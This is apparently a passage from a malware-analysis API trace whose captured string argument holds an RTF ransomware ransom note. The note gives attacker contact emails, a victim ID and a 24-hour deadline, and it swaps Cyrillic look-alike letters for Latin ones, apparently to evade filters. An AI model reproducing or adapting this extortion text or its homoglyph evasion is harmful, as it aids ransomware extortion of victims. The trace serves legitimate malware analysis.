ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is 